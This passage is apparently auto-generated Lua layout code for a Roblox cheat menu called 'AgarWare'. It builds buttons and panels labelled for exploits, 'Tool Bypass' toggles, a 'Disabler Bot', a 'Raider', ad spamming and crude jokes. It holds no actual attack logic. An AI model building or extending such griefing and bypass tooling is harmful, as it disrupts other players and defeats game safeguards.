G2L["165"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsScript
G2L["166"] = Instance.new("LocalScript", G2L["165"]);
G2L["166"]["Name"] = [[ExploitsScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UIListLayout
G2L["167"] = Instance.new("UIListLayout", G2L["165"]);
G2L["167"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsAccentColor
G2L["168"] = Instance.new("Frame", G2L["165"]);
G2L["168"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["168"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["168"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["168"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["168"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["168"]["Name"] = [[ExploitsAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsTitle
G2L["169"] = Instance.new("TextLabel", G2L["165"]);
G2L["169"]["TextWrapped"] = true;
G2L["169"]["BorderSizePixel"] = 0;
G2L["169"]["TextSize"] = 14;
G2L["169"]["TextScaled"] = true;
G2L["169"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["169"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["169"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["169"]["BackgroundTransparency"] = 0.95;
G2L["169"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["169"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["169"]["Text"] = [[More scripts i made or edited]];
G2L["169"]["LayoutOrder"] = 1;
G2L["169"]["Name"] = [[ExploitsTitle]];
G2L["169"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.ExploitsTitle.ExploitsMinimize
G2L["16a"] = Instance.new("TextButton", G2L["169"]);
G2L["16a"]["BorderSizePixel"] = 0;
G2L["16a"]["TextSize"] = 14;
G2L["16a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16a"]["BackgroundTransparency"] = 1;
G2L["16a"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["16a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16a"]["Text"] = [[-]];
G2L["16a"]["Name"] = [[ExploitsMinimize]];
G2L["16a"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow
G2L["16b"] = Instance.new("Frame", G2L["165"]);
G2L["16b"]["BorderSizePixel"] = 0;
G2L["16b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16b"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["16b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["16b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16b"]["Name"] = [[UNRow]];
G2L["16b"]["LayoutOrder"] = 4;
G2L["16b"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow.UNScript
G2L["16c"] = Instance.new("LocalScript", G2L["16b"]);
G2L["16c"]["Name"] = [[UNScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow.UNButton
G2L["16d"] = Instance.new("TextButton", G2L["16b"]);
G2L["16d"]["TextSize"] = 14;
G2L["16d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16d"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["16d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["16d"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["16d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["16d"]["Text"] = [[Part Abuse (READ)]];
G2L["16d"]["Name"] = [[UNButton]];
G2L["16d"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.UNRow.UNHelp
G2L["16e"] = Instance.new("TextButton", G2L["16b"]);
G2L["16e"]["TextSize"] = 14;
G2L["16e"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["16e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["16e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["16e"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["16e"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["16e"]["Text"] = [[?]];
G2L["16e"]["Name"] = [[UNHelp]];
G2L["16e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow
G2L["16f"] = Instance.new("Frame", G2L["165"]);
G2L["16f"]["BorderSizePixel"] = 0;
G2L["16f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["16f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["16f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["16f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["16f"]["Name"] = [[BBRow]];
G2L["16f"]["LayoutOrder"] = 4;
G2L["16f"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow.BBScript
G2L["170"] = Instance.new("LocalScript", G2L["16f"]);
G2L["170"]["Name"] = [[BBScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow.BBButton
G2L["171"] = Instance.new("TextButton", G2L["16f"]);
G2L["171"]["TextSize"] = 14;
G2L["171"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["171"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["171"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["171"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["171"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["171"]["Text"] = [[Bkit Disabler Bot]];
G2L["171"]["Name"] = [[BBButton]];
G2L["171"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.BBRow.BBHelp
G2L["172"] = Instance.new("TextButton", G2L["16f"]);
G2L["172"]["TextSize"] = 14;
G2L["172"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["172"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["172"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["172"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["172"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["172"]["Text"] = [[?]];
G2L["172"]["Name"] = [[BBHelp]];
G2L["172"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow
G2L["173"] = Instance.new("Frame", G2L["165"]);
G2L["173"]["BorderSizePixel"] = 0;
G2L["173"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["173"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["173"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["173"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["173"]["Name"] = [[FFRow]];
G2L["173"]["LayoutOrder"] = 4;
G2L["173"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow.FFScript
G2L["174"] = Instance.new("LocalScript", G2L["173"]);
G2L["174"]["Name"] = [[FFScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow.FFButton
G2L["175"] = Instance.new("TextButton", G2L["173"]);
G2L["175"]["TextSize"] = 14;
G2L["175"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["175"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["175"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["175"]["Size"] = UDim2.new(0, 135, 0, 16);
G2L["175"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["175"]["Text"] = [[Monkey Gang Raider]];
G2L["175"]["Name"] = [[FFButton]];
G2L["175"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.ExploitsGroup.FFRow.FFHelp
G2L["176"] = Instance.new("TextButton", G2L["173"]);
G2L["176"]["TextSize"] = 14;
G2L["176"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["176"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["176"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["176"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["176"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["176"]["Text"] = [[?]];
G2L["176"]["Name"] = [[FFHelp]];
G2L["176"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup
G2L["177"] = Instance.new("Frame", G2L["12f"]);
G2L["177"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["177"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["177"]["Size"] = UDim2.new(0, 170, 0, 82);
G2L["177"]["Position"] = UDim2.new(0, 0, 0.58056, 0);
G2L["177"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["177"]["Name"] = [[WeirdGroup]];
G2L["177"]["LayoutOrder"] = 2;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdScript
G2L["178"] = Instance.new("LocalScript", G2L["177"]);
G2L["178"]["Name"] = [[WeirdScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.UIListLayout
G2L["179"] = Instance.new("UIListLayout", G2L["177"]);
G2L["179"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdAccentColor
G2L["17a"] = Instance.new("Frame", G2L["177"]);
G2L["17a"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["17a"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["17a"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["17a"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["17a"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["17a"]["Name"] = [[WeirdAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdTitle
G2L["17b"] = Instance.new("TextLabel", G2L["177"]);
G2L["17b"]["TextWrapped"] = true;
G2L["17b"]["BorderSizePixel"] = 0;
G2L["17b"]["TextSize"] = 14;
G2L["17b"]["TextScaled"] = true;
G2L["17b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17b"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["17b"]["BackgroundTransparency"] = 0.95;
G2L["17b"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["17b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17b"]["Text"] = [[idk i was bored]];
G2L["17b"]["LayoutOrder"] = 1;
G2L["17b"]["Name"] = [[WeirdTitle]];
G2L["17b"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.WeirdTitle.WeirdMinimize
G2L["17c"] = Instance.new("TextButton", G2L["17b"]);
G2L["17c"]["BorderSizePixel"] = 0;
G2L["17c"]["TextSize"] = 14;
G2L["17c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17c"]["BackgroundTransparency"] = 1;
G2L["17c"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["17c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17c"]["Text"] = [[-]];
G2L["17c"]["Name"] = [[WeirdMinimize]];
G2L["17c"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.SpamAdvertRow
G2L["17d"] = Instance.new("Frame", G2L["177"]);
G2L["17d"]["BorderSizePixel"] = 0;
G2L["17d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["17d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["17d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["17d"]["Name"] = [[SpamAdvertRow]];
G2L["17d"]["LayoutOrder"] = 21;
G2L["17d"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.SpamAdvertRow.SpamAdvertScript
G2L["17e"] = Instance.new("LocalScript", G2L["17d"]);
G2L["17e"]["Name"] = [[SpamAdvertScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.SpamAdvertRow.SpamAdvertButton
G2L["17f"] = Instance.new("TextButton", G2L["17d"]);
G2L["17f"]["TextSize"] = 14;
G2L["17f"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["17f"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["17f"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["17f"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["17f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["17f"]["Text"] = [[Spam Adver Agar Ware]];
G2L["17f"]["Name"] = [[SpamAdvertButton]];
G2L["17f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBoomboxRow
G2L["180"] = Instance.new("Frame", G2L["177"]);
G2L["180"]["BorderSizePixel"] = 0;
G2L["180"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["180"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["180"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["180"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["180"]["Name"] = [[PPBoomboxRow]];
G2L["180"]["LayoutOrder"] = 20;
G2L["180"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBoomboxRow.PPBoomboxScript
G2L["181"] = Instance.new("LocalScript", G2L["180"]);
G2L["181"]["Name"] = [[PPBoomboxScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBoomboxRow.PPBoomboxButton
G2L["182"] = Instance.new("TextButton", G2L["180"]);
G2L["182"]["TextSize"] = 14;
G2L["182"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["182"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["182"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["182"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["182"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["182"]["Text"] = [[Make a PP (Boombox)]];
G2L["182"]["Name"] = [[PPBoomboxButton]];
G2L["182"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBkitRow
G2L["183"] = Instance.new("Frame", G2L["177"]);
G2L["183"]["BorderSizePixel"] = 0;
G2L["183"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["183"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["183"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["183"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["183"]["Name"] = [[PPBkitRow]];
G2L["183"]["LayoutOrder"] = 20;
G2L["183"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBkitRow.PPBkitScript
G2L["184"] = Instance.new("LocalScript", G2L["183"]);
G2L["184"]["Name"] = [[PPBkitScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollRightSide.WeirdGroup.PPBkitRow.PPBkitButton
G2L["185"] = Instance.new("TextButton", G2L["183"]);
G2L["185"]["TextSize"] = 14;
G2L["185"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["185"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["185"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["185"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["185"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["185"]["Text"] = [[Make a PP (Bkit)]];
G2L["185"]["Name"] = [[PPBkitButton]];
G2L["185"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide
G2L["186"] = Instance.new("Frame", G2L["12e"]);
G2L["186"]["BorderSizePixel"] = 0;
G2L["186"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["186"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["186"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["186"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["186"]["Name"] = [[TCOTrollLeftSide]];
G2L["186"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.UIListLayout
G2L["187"] = Instance.new("UIListLayout", G2L["186"]);
G2L["187"]["Padding"] = UDim.new(0, 7);
G2L["187"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup
G2L["188"] = Instance.new("Frame", G2L["186"]);
G2L["188"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["188"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["188"]["Size"] = UDim2.new(0, 170, 0, 144);
G2L["188"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["188"]["Name"] = [[BypassGroup]];
G2L["188"]["LayoutOrder"] = 3;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassScript
G2L["189"] = Instance.new("LocalScript", G2L["188"]);
G2L["189"]["Name"] = [[BypassScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassToolTip
G2L["18a"] = Instance.new("LocalScript", G2L["188"]);
G2L["18a"]["Name"] = [[BypassToolTip]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.UIListLayout
G2L["18b"] = Instance.new("UIListLayout", G2L["188"]);
G2L["18b"]["SortOrder"] = Enum.SortOrder.LayoutOrder;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassAccentColor
G2L["18c"] = Instance.new("Frame", G2L["188"]);
G2L["18c"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["18c"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["18c"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["18c"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["18c"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["18c"]["Name"] = [[BypassAccentColor]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassTitle
G2L["18d"] = Instance.new("TextLabel", G2L["188"]);
G2L["18d"]["TextWrapped"] = true;
G2L["18d"]["BorderSizePixel"] = 0;
G2L["18d"]["TextSize"] = 14;
G2L["18d"]["TextScaled"] = true;
G2L["18d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["18d"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["18d"]["BackgroundTransparency"] = 0.95;
G2L["18d"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["18d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18d"]["Text"] = [[Tool Bypass]];
G2L["18d"]["LayoutOrder"] = 1;
G2L["18d"]["Name"] = [[BypassTitle]];
G2L["18d"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BypassTitle.BypassMinimize
G2L["18e"] = Instance.new("TextButton", G2L["18d"]);
G2L["18e"]["BorderSizePixel"] = 0;
G2L["18e"]["TextSize"] = 14;
G2L["18e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["18e"]["BackgroundTransparency"] = 1;
G2L["18e"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["18e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18e"]["Text"] = [[-]];
G2L["18e"]["Name"] = [[BypassMinimize]];
G2L["18e"]["Position"] = UDim2.new(0.88166, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow
G2L["18f"] = Instance.new("Frame", G2L["188"]);
G2L["18f"]["BorderSizePixel"] = 0;
G2L["18f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["18f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["18f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["18f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["18f"]["Name"] = [[PaintBypassRow]];
G2L["18f"]["LayoutOrder"] = 5;
G2L["18f"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow.PaintBypassScript
G2L["190"] = Instance.new("LocalScript", G2L["18f"]);
G2L["190"]["Name"] = [[PaintBypassScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow.PaintBypassTickBox
G2L["191"] = Instance.new("TextButton", G2L["18f"]);
G2L["191"]["TextSize"] = 14;
G2L["191"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["191"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["191"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["191"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["191"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["191"]["Text"] = [[]];
G2L["191"]["Name"] = [[PaintBypassTickBox]];
G2L["191"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.PaintBypassRow.PaintBypassText
G2L["192"] = Instance.new("TextLabel", G2L["18f"]);
G2L["192"]["BorderSizePixel"] = 0;
G2L["192"]["TextSize"] = 14;
G2L["192"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["192"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["192"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["192"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["192"]["BackgroundTransparency"] = 1;
G2L["192"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["192"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["192"]["Text"] = [[Paint]];
G2L["192"]["Name"] = [[PaintBypassText]];
G2L["192"]["Position"] = UDim2.new(0.17751, 0, 0, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow
G2L["193"] = Instance.new("Frame", G2L["188"]);
G2L["193"]["BorderSizePixel"] = 0;
G2L["193"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["193"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["193"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["193"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["193"]["Name"] = [[DeleteBypassRow]];
G2L["193"]["LayoutOrder"] = 4;
G2L["193"]["BackgroundTransparency"] = 1;


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow.DeleteBypassScript
G2L["194"] = Instance.new("LocalScript", G2L["193"]);
G2L["194"]["Name"] = [[DeleteBypassScript]];


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow.DeleteBypassTickBox
G2L["195"] = Instance.new("TextButton", G2L["193"]);
G2L["195"]["TextSize"] = 14;
G2L["195"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["195"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["195"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["195"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["195"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["195"]["Text"] = [[]];
G2L["195"]["Name"] = [[DeleteBypassTickBox]];
G2L["195"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);


-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.DeleteBypassRow.DeleteBypassText
G2L["196"] = Instance.new("TextLabel", G2L["193"]);
G2L["196"]["BorderSizePixel"] = 0;
G2L["196"]["TextSize"] = 14;
G2L["196"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["196"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["196"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["196"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["196"]["BackgroundTransparency"] = 1;
G2L["196"]["Size"] = UDim2.new(0, 88, 0, 20);
